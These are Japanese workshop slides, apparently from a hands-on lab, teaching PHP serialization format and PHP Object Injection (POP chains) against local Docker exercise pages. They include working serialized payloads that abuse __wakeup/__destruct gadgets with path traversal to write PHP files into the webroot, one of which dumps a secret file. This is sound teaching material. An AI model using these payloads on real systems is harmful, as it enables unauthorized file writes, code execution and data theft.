2.1K Views
May 08, 23
スライド概要
都内で働くセキュリティエンジニア
• • • • • • •
• • • • • • • • Docker環境必須
• •
• •
ここに書いて 押し忘れずに ここ見て
$pwn = 999; > i:999;
$pwn = True; > b:1;
$pwn = 0.9; > d:0.90000000000000002; え?なんで0.9000…02 なの?って方は「浮動小数点 丸め誤差」で検索だ!
$pwn = "TEST"; > s:4:“TEST”;
$pwn = array(99,98,97);
$pwn = array(99,98,97); > a:3:{i:0;i:99;i:1;i:98;i:2;i:97;}
$pwn = array(99,98,97); > a:3:{i:0;i:99;i:1;i:98;i:2;i:97;} 要素の数
$pwn = array(99,98,97); > a:3:{i:0;i:99;i:1;i:98;i:2;i:97;} 要素の数 添字
$pwn = array(99,98,97); > a:3:{i:0;i:99;i:1;i:98;i:2;i:97;} 要素の数 添字 格納された値
$pwn = array("wild","onion"); $pwn = array(1,2,"foo","bar",True);
$pwn = array("key1"=>"value1","key2"=>"value2");
$pwn = array("key1"=>"value1","key2"=>"value2");
> a:2:{s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";}
$pwn = array("key1"=>"value1","key2"=>"value2");
> a:2:{s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";}
添字が文字列になっただけです。
class testClass{ public $var = 10; public $var2 = 20; }; $pwn = new testClass();
class testClass{ public $var = 10; public $var2 = 20; }; $pwn = new testClass(); > O:9:"testClass":2:{s:3:"var";i:10;s:4:"var2";i:20;}
class testClass{ public $var = 10; public $var2 = 20; }; $pwn = new testClass(); オブジェクトの要素数 (ここでは変数の数) > O:9:"testClass":2:{s:3:"var";i:10;s:4:"var2";i:20;} クラス名 変数名 値
class testClass{ public $var = 10; public $var2 = 20; public function foo() {} //メンバ関数を追加してシリアライズ }; $pwn = new testClass();
class testClass{ public $var = 10; public $var2 = 20; public function foo() {} //メンバ関数を追加してシリアライズ }; $pwn = new testClass(); > O:9:"testClass":2:{s:3:"var";i:10;s:4:"var2";i:20;}
class testClass{ public $var = 10; public $var2 = 20; public function foo() {} //メンバ関数を追加してシリアライズ }; $pwn = new testClass(); > O:9:"testClass":2:{s:3:"var";i:10;s:4:"var2";i:20;} クラス名 その中のすべての変数の値
class testClass{ public $var = 10; private $var2 = 20; //アクセス修飾子privateを追加してシリアライズ protected $var3 = 30; //アクセス修飾子protectedを追加してシリアライズ }; $pwn = new testClass();
class testClass{ public $var = 10; private $var2 = 20; //アクセス修飾子privateを追加してシリアライズ protected $var3 = 30; //アクセス修飾子protectedを追加してシリアライズ }; $pwn = new testClass(); > O:9:"testClass":3:{s:3:"var";i:10;s:15:"¥0testClass¥0var2";i:20;s:7:"¥0*¥0var3";i:30;} おぉ・・・長い長い・・・
class testClass{ public $var = 10; private $var2 = 20; //アクセス修飾子privateを追加してシリアライズ protected $var3 = 30; //アクセス修飾子protectedを追加してシリアライズ }; $pwn = new testClass(); > O:9:"testClass":3:{s:3:"var";i:10;s:15:"¥0testClass¥0var2";i:20;s:7:"¥0*¥0var3";i:30;} private は [NULL]クラス名[NULL]変数名
class testClass{ public $var = 10; private $var2 = 20; //アクセス修飾子privateを追加してシリアライズ protected $var3 = 30; //アクセス修飾子protectedを追加してシリアライズ }; $pwn = new testClass(); > O:9:"testClass":3:{s:3:"var";i:10;s:15:"¥0testClass¥0var2";i:20;s:7:"¥0*¥0var3";i:30;} protected は [NULL]アスタリスク[NULL]変数名
これで皆さんは、シリアライズデータを読めるようになりました!
Let’s Exploit! : 管理者でログインしよう! http://localhost/level1.php
Hint: ソースコードを読んでみよう(クソコードですみません) Hint: パラメータuserinfoにシリアライズデータが入ってるので改ざんしてみよう。
Point • クラスのシリアライズデータには、クラス名とクラスが持つメンバー変数がシリ アライズされる。 • メンバー変数を改ざんしてデシリアライズさせると、改ざんした値をメンバー変 数にロードさせることができる。
というわけで、 ようやくPOI(PHP Object Injection)に入れるよー!
PHPのクラスにはマジックメソッドと呼ばれる特殊な関数があります。 __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), __debugInfo()
PHPのクラスにはマジックメソッドと呼ばれる特殊な関数があります。 __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), __debugInfo() 主にPOIで悪用できるのは__wakeup()と__destruct() ※__toString()などを利用する例もありますが、今回は割愛
__wakeup() `逆に、unserialize() は、特殊な名前 __wakeup() を有する関数の存在を調べます。もし存 在する場合、この関数は、オブジェクトが有する可能性が あるあらゆるリソースを再構築す ることができます。` __destruct() ` unserialize()されたときに必ず実行されるメソッドです(‘ω ’)
POIPOI言ってますが、 Unserialize()を利用したPOIの事をPOP(Property Oriented Programming) Chain と言います。 名前の由来はROP gadgets から。 Chain と言われている通り、自動的に呼び出される__destructや__wakeupなどのマジックメソッド を開始地点にして、数珠つなぎのように他のオブジェクトを呼び出します。
POIPOI言ってますが、 Unserialize()を利用したPOIの事をPOP(Property Oriented Programming) Chain と言います。 名前の由来はROP gadgets から。 Chain と言われている通り、自動的に呼び出される__destructや__wakeupなどのマジックメソッド を開始地点にして、数珠つなぎのように他のオブジェクトを呼び出します。 まずは、unserialize()で__wakeup()と__destruct()が呼び出される事を確認しよ う!
1. 以下のコードを “Foo.class” などでファイル保存。Serial Killerにアップロード
<?php
class Foo {
public function __wakeup() {
echo "invoked __wakeup() method.<br />";
}
public function __destruct() {
echo "invoked __destruct() method.<br />";
}
}
?>
2. 以下のコードをシリアライズデータに変換
$pwn = new Foo();
>
O:3:"Foo":0:{}
3. シリアライズデータをデシリアライズしてみる。
が出てくればOK!
2. 以下のコードをシリアライズデータに変換
$pwn = new Foo();
>
O:3:"Foo":0:{}
3. シリアライズデータをデシリアライズしてみる。
が出てくればOK!
オブジェクト(Fooクラス)が持つ__wakeup()と__destruct()が呼び出されていることを確認できる。
<?php
class BadClass {
private $data = ”bar¥n”;
private $filename = "/tmp/foo";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
攻撃方法を考えてみよう( ˘ω ˘ )
<?php
class BadClass {
private $data = ”bar¥n”;
private $filename = "/tmp/foo";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
unserialize()すると__wakeup()
が実行される。
<?php
class BadClass {
private $data = ”bar¥n”;
private $filename = "/tmp/foo";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
• __wakeup()ではsaveメソッド
が呼ばれている。
• 引数に$this->filenameが渡さ
れている。
<?php
class BadClass {
private $data = ”bar¥n”;
private $filename = "/tmp/foo";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
• file_put_contents関数が呼び出されて
いる。
• $this->filename が file_put_contents
の第1引数に渡されている。
• $this->data が file_put_contents の
第2引数に渡されている。
<?php
class BadClass {
private $data = ”bar¥n”;
private $filename = "/tmp/foo";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
つまり・・・
<?php
class BadClass {
private $data = ”<?php phpinfo(); ?>”;
private $filename = “../../../../var/www/html/phpinfo.php";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
?>
つまり・・・
$dataと$filenameにデータを入れれば
任意のファイルを保存できる。
<?php
class BadClass {
private $data = ”<?php phpinfo(); ?>”;
private $filename = “../../../../var/www/html/phpinfo.php";
public function __wakeup() {
$this->save($this->filename);
}
public function save($filename) {
file_put_contents($filename, $this->data);
}
}
以下のシリアライズデータをデシリアライズさせることで同じ事が出来る。
?>
O:8:"BadClass":2:{s:14:"¥0BadClass¥0data";s:19:"<?php
phpinfo(); ?>";s:18:"¥0BadClass¥0filename";s:36:"../../../../var/www/ht
ml/phpinfo.php";}
Let’s Exploit! : コメントアウトされたシークレットファイルを覗こう! ※攻撃成功後は、ファイルを覗く以外の事はしないでください。(;^∀^) http://localhost/level2.php
できた?
Cookieのstatusにシリアライズデータが格納 されている。 status Cookieが格納されている場合、 unserialize()が行われる。
unserialize() は実行されてるけど、肝心の Loggerクラスがインスタンス化されていな い・・・。
Unserialize() は実行されてるけど、肝心の Loggerクラスがインスタンス化されていな い・・・。 クラスが書かれたファイルまたはコードが読 み込まれていれば攻撃できます。
POP Chain の開始地点となるマジックメソッ ドを見つける。
POP Chain の開始地点となるマジックメソッ ドを見つける。 __destruct()メソッドがある。
注入できるメンバー変数を探す。
注入できるメンバー変数を探す。 $this->filename $this->log が使用されている。
注入できるメンバー変数を探す。 $this->filename $this->log が使用されている。 $this->filename はファイル名に使用されて いる。 $this->log は$this->filenameで指定された ファイルに書き込むための値として使用され ている。
つまり・・・
つまり・・・ $filenameと$logにファイル名とデータを入れ れば任意のファイルを保存できる。 今回はsecret.phpを読み込むのが目的。
$this->filename = “../../../var/www/html/exploit.php”; $this->log = “<?php echo file_get_contents(‘secret.php’);?>”;
class Logger {
private $filename ="../../../../../var/www/html/exploit.php";
private $log = "<?php echo file_get_contents('secret.php'); ?>";
}
$pwn = new Logger();
>
O:6:"Logger":2:{s:16:"¥0Logger¥0filename";s:39:"../../../../../var/www/html/exploit.php";s
:11:"¥0Logger¥0log";s:46:"<?php echo file_get_contents('secret.php'); ?>";}
urlエンコードしてCookie statusに入れて送信!
エラーが出た! http://localhost/exploit.php にアクセス!
Blank?
GOTCHA!
Some more…?
Let’s Exploit! : adminのパスワードを盗め! ※ level2 の脆弱性は使わないでください。 http://localhost/level3.php
いかがでしたか?簡単でしたか?
いかがでしたか?簡単でしたか? 今回はPOP Chainの入門になります。 最後にさらっと応用的な内容を紹介します。
POP Chainを利用した他のテクニックをさらっと紹介! 注入したオブジェクトのメンバー変数にさらにオブジェクトを注入する。
POP Chainを利用した他のテクニックをさらっと紹介! 注入したオブジェクトのメンバー変数にさらにオブジェクトを注入する。 class Alpha { private $beta; function __construct() { $this->beta = new Beta(); } function __destruct() { $this->beta->flag(); } } class Beta { function flag() { echo "invoked Beta flag"; } } class Gamma { function flag() { echo "invoked Gamma flag"; } }
POP Chainを利用した他のテクニックをさらっと紹介!
注入したオブジェクトのメンバー変数にさらにオブジェクトを注入する。
class Alpha {
private $beta;
function __construct() {
$this->beta = new Beta();
}
function __destruct() {
$this->beta->flag();
}
}
class Beta {
function flag() {
echo "invoked Beta flag";
}
}
class Gamma {
function flag() {
echo "invoked Gamma flag";
}
}
O:5:"Alpha":1:{s:11:"¥0Alpha¥0beta";O:4:"Beta":0:{}}
> invoked Beta flag
POP Chainを利用した他のテクニックをさらっと紹介!
注入したオブジェクトのメンバー変数にさらにオブジェクトを注入する。
class Alpha {
private $beta;
function __construct() {
$this->beta = new Beta();
}
function __destruct() {
$this->beta->flag();
}
}
class Beta {
function flag() {
echo "invoked Beta flag";
}
}
class Gamma {
function flag() {
echo "invoked Gamma flag";
}
}
O:5:"Alpha":1:{s:11:"¥0Alpha¥0beta";O:5:“Gamma":0:{}}
> invoked Gamma flag
ALphaクラスでは本来使用されていないGammaクラスを呼び
出せた。
POP Chainを利用した他のテクニックをさらっと紹介! リファレンス渡し
POP Chainを利用した他のテクニックをさらっと紹介! リファレンス渡し リファレンスが渡されている変数もシリアライズすることができる。 $pwn[0] = "test"; $pwn[1] = &$pwn[0];
POP Chainを利用した他のテクニックをさらっと紹介! リファレンス渡し リファレンスが渡されている変数もシリアライズすることができる。 $pwn[0] = "test"; $pwn[1] = &$pwn[0]; > a:2:{i:0;s:4:"test";i:1;R:2;}
POP Chainを利用した他のテクニックをさらっと紹介!
リファレンス渡し
リファレンスが渡されている変数もシリアライズすることができる。
$pwn[0] = "test";
$pwn[1] = &$pwn[0];
> a:2:{i:0;s:4:"test";i:1;R:2;}
リファレンスについては以下の記事に細かく記載されています。
https://qiita.com/7968/items/d68a7aaebdc1711f4345